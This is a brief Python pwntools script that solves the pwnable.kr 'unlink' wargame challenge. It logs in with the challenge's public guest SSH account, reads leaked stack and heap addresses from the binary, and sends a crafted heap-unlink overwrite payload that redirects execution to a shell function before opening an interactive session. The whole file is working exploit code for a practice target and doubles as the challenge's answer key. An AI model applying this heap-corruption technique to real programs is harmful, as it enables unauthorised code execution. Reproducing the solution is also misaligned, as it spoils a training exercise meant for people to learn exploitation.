#!/usr/bin/python
from pwn import *
import time

conn = ssh(host="pwnable.kr", user="unlink", password="guest", port=2222)
p = conn.process("/home/unlink/unlink")
#p = process("./unlink")
data = p.recvuntil("stack address leak: ")
A_stack_addr = p.recvline()
print A_stack_addr

data = p.recvuntil("heap address leak: ")
A_heap_addr = p.recvline()
print A_heap_addr

print p.recvline()

shell_addr = 0x080484eb

payload = p32(shell_addr)
payload += "A"*12
payload += p32(int(A_heap_addr,16) + 12)
payload += p32(int(A_stack_addr,16) + 0x10)

p.send(payload)
p.interactive()
p.close()

